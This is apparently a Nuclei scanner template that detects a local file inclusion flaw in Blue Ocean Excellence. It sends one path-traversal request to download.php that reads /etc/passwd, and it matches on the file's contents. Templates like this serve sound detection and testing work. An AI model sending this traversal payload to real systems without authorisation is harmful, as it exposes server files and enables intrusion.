id: blue-ocean-excellence-lfi

info:
  name: Blue Ocean Excellence - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Blue Ocean Excellence is vulnerable to local file inclusion.
  reference:
    - https://blog.csdn.net/qq_41901122/article/details/116786883
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: blue-ocean,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "toor:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d05e1da643508a9256dc0288b7203c7e04f9b0cbd94a09b674c993fd03ed527a0220139f365a925a1df9b2f4d457aa4a0f1650bb5fb881bca20e42fe127085f98468:922c64590222798bb761d5b6d8e72950